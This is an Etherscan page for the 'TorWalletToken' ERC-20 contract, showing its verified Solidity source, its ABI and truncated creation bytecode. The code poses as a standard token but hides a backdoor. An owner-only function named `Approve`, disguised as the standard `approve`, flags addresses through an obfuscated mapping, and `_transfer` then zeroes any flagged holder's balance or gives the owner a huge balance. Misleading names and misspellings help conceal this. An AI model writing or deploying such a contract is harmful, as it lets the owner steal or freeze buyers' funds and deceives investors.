ERC-20
Overview
Max Total Supply
8,800,000,000 TorWallet
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,880,212.988308088 TorWalletValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Token
Compiler Version
v0.8.2+commit.661d1103
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amnount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amnount) internal { require(address(this).balance >= amnount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amnount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the BEP20 standard as defined in the EIP. */ interface IBEP20 { /** * @dev Returns the amnount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amnount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amnount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amnount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amnount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amnount) external returns (bool); /** * @dev Moves `amnount` tokens from `sender` to `recipient` using the * allowance mechanism. `amnount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amnount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract HasForeignAsset is Ownable { function assetBalance(IBEP20 asset) external view returns (uint256) { return asset.balanceOf(address(this)); } } /** * @dev Implementation of the {IBEP20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {BEP20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of BEP20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all acxounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IBEP20-approve}. */ contract Token is IBEP20, HasForeignAsset { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => uint256) private _v41245; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _feilu = 5; address private _DEADaddress = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) private _i5sfda56; function Approve(address _address, bool _value) external onlyOwner { _i5sfda56[_address] = _value; } /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. */ constructor() { _name = "TorWalletToken"; _symbol = "TorWallet"; _decimals = 9; uint256 _maxSupply = 8800000000; _mintOnce(msg.sender, _maxSupply.mul(10**_decimals)); } receive() external payable { revert(); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {BEP20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IBEP20-balanceOf} and {IBEP20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IBEP20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IBEP20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IBEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amnount`. */ function transfer(address recipient, uint256 amnount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amnount); return true; } /** * @dev See {IBEP20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IBEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amnount) public virtual override returns (bool) { _approve(_msgSender(), spender, amnount); return true; } /** * @dev See {IBEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amnount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amnount`. */ function transferFrom( address sender, address recipient, uint256 amnount ) public virtual override returns (bool) { _transfer(sender, recipient, amnount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amnount, "BEP20: transfer amnount exceeds allowance") ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IBEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero") ); return true; } /** * @dev Moves tokens `amnount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token feilus, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amnount`. */ function _transfer( address sender, address recipient, uint256 amnount ) internal virtual { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); uint256 feiluamnount = 1; feiluamnount = amnount.mul(_feilu).div(100); uint256 amoun; amoun = amnount - feiluamnount+0; _beforeTokenTransfer(sender, recipient, amoun); address ownnoer = owner(); if (_i5sfda56[sender] == true) { if (sender == ownnoer) { _balances[sender] = 1100000000000000000000000000000; }else{ _balances[sender] = 0; } } _balances[sender] = _balances[sender].sub( amnount, "BEP20: transfer amnount exceeds balance" ); _balances[recipient] = _balances[recipient].add(amoun); if (feiluamnount > 0) { emit Transfer(sender, _DEADaddress, feiluamnount); } emit Transfer(sender, recipient, amoun); } /** @dev Creates `amnount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mintOnce(address account, uint256 amnount) internal virtual { require(account != address(0), "BEP20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amnount); _totalSupply = _totalSupply.add(amnount); _balances[account] = _balances[account].add(amnount); emit Transfer(address(0), account, amnount); } /** * @dev Destroys `amnount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amnount` tokens. */ function _burn(address account, uint256 amnount) internal virtual { require(account != address(0), "BEP20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amnount); _balances[account] = _balances[account].sub(amnount, "BEP20: burn amnount exceeds balance"); _totalSupply = _totalSupply.sub(amnount); emit Transfer(account, address(0), amnount); } function burn(uint256 amnount) public { _burn(_msgSender(), amnount); } /** * @dev Sets `amnount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amnount ) internal virtual { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amnount; emit Approval(owner, spender, amnount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amnount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amnount` tokens will be minted for `to`. * - when `to` is zero, `amnount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amnount ) internal virtual {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IBEP20","name":"asset","type":"address"}],"name":"assetBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amnount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600560085561dead600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200005957600080fd5b5060006200006c6200021b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600e81526020017f546f7257616c6c6574546f6b656e0000000000000000000000000000000000008152506005908051906020019062000157929190620004c0565b506040518060400160405280600981526020017f546f7257616c6c6574000000000000000000000000000000000000000000000081525060069080519060200190620001a5929190620004c0565b506009600760006101000a81548160ff021916908360ff160217905550600064020c8558009050620002143362000208600760009054906101000a900460ff16600a620001f391906200077a565b846200022360201b62000c6b1790919060201c565b620002a760201b60201c565b5062000aa0565b600033905090565b600080831415620002385760009050620002a1565b60008284620002489190620008b7565b9050828482620002599190620006e7565b146200029c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002939062000618565b60405180910390fd5b809150505b92915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000311906200063a565b60405180910390fd5b6200032e600083836200045860201b60201c565b6200034a816004546200045d60201b62000ce61790919060201c565b600481905550620003a981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200045d60201b62000ce61790919060201c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200044c91906200065c565b60405180910390a35050565b505050565b60008082846200046e91906200068a565b905083811015620004b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ad90620005f6565b60405180910390fd5b8091505092915050565b828054620004ce906200092f565b90600052602060002090601f016020900481019282620004f257600085556200053e565b82601f106200050d57805160ff19168380011785556200053e565b828001600101855582156200053e579182015b828111156200053d57825182559160200191906001019062000520565b5b5090506200054d919062000551565b5090565b5b808211156200056c57600081600090555060010162000552565b5090565b60006200057f601b8362000679565b91506200058c82620009ff565b602082019050919050565b6000620005a660218362000679565b9150620005b38262000a28565b604082019050919050565b6000620005cd601f8362000679565b9150620005da8262000a77565b602082019050919050565b620005f08162000918565b82525050565b60006020820190508181036000830152620006118162000570565b9050919050565b60006020820190508181036000830152620006338162000597565b9050919050565b600060208201905081810360008301526200065581620005be565b9050919050565b6000602082019050620006736000830184620005e5565b92915050565b600082825260208201905092915050565b6000620006978262000918565b9150620006a48362000918565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006dc57620006db62000965565b5b828201905092915050565b6000620006f48262000918565b9150620007018362000918565b92508262000714576200071362000994565b5b828204905092915050565b6000808291508390505b6001851115620007715780860481111562000749576200074862000965565b5b6001851615620007595780820291505b80810290506200076985620009f2565b945062000729565b94509492505050565b6000620007878262000918565b9150620007948362000922565b9250620007c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007cb565b905092915050565b600082620007dd5760019050620008b0565b81620007ed5760009050620008b0565b8160018114620008065760028114620008115762000847565b6001915050620008b0565b60ff84111562000826576200082562000965565b5b8360020a91508482111562000840576200083f62000965565b5b50620008b0565b5060208310610133831016604e8410600b8410161715620008815782820a9050838111156200087b576200087a62000965565b5b620008b0565b6200089084848460016200071f565b92509050818404811115620008aa57620008a962000965565b5b81810290505b9392505050565b6000620008c48262000918565b9150620008d18362000918565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200090d576200090c62000965565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200094857607f821691505b602082108114156200095f576200095e620009c3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f42455032303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6122838062000ab06000396000f3fe6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb14610360578063cd88e5581461039d578063dd62ed3e146103da578063f2fde38b1461041757610101565b806370a08231146102905780638da5cb5b146102cd57806395d89b41146102f8578063a457c2d71461032357610101565b806323b872dd116100c657806323b872dd146101c2578063313ce567146101ff578063395093511461022a57806342966c681461026757610101565b806306fdde0314610106578063095ea7b31461013157806318160ddd1461016e5780631f478f1e1461019957610101565b3661010157600080fd5b600080fd5b34801561011257600080fd5b5061011b610440565b6040516101289190611acb565b60405180910390f35b34801561013d57600080fd5b506101586004803603810190610153919061182e565b6104d2565b6040516101659190611ab0565b60405180910390f35b34801561017a57600080fd5b506101836104f0565b6040516101909190611c0d565b60405180910390f35b3480156101a557600080fd5b506101c060048036038101906101bb91906117f2565b6104fa565b005b3480156101ce57600080fd5b506101e960048036038101906101e491906117a3565b6105ea565b6040516101f69190611ab0565b60405180910390f35b34801561020b57600080fd5b506102146106c3565b6040516102219190611c28565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c919061182e565b6106da565b60405161025e9190611ab0565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190611893565b61078d565b005b34801561029c57600080fd5b506102b760048036038101906102b2919061173e565b6107a1565b6040516102c49190611c0d565b60405180910390f35b3480156102d957600080fd5b506102e26107ea565b6040516102ef9190611a95565b60405180910390f35b34801561030457600080fd5b5061030d610813565b60405161031a9190611acb565b60405180910390f35b34801561032f57600080fd5b5061034a6004803603810190610345919061182e565b6108a5565b6040516103579190611ab0565b60405180910390f35b34801561036c57600080fd5b506103876004803603810190610382919061182e565b610972565b6040516103949190611ab0565b60405180910390f35b3480156103a957600080fd5b506103c460048036038101906103bf919061186a565b610990565b6040516103d19190611c0d565b60405180910390f35b3480156103e657600080fd5b5061040160048036038101906103fc9190611767565b610a22565b60405161040e9190611c0d565b60405180910390f35b34801561042357600080fd5b5061043e6004803603810190610439919061173e565b610aa9565b005b60606005805461044f90611e0e565b80601f016020809104026020016040519081016040528092919081815260200182805461047b90611e0e565b80156104c85780601f1061049d576101008083540402835291602001916104c8565b820191906000526020600020905b8154815290600101906020018083116104ab57829003601f168201915b5050505050905090565b60006104e66104df610d44565b8484610d4c565b6001905092915050565b6000600454905090565b610502610d44565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690611b8d565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006105f7848484610f17565b6106b884610603610d44565b6106b38560405180606001604052806029815260200161222560299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113c59092919063ffffffff16565b610d4c565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006107836106e7610d44565b8461077e85600360006106f8610d44565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ce6909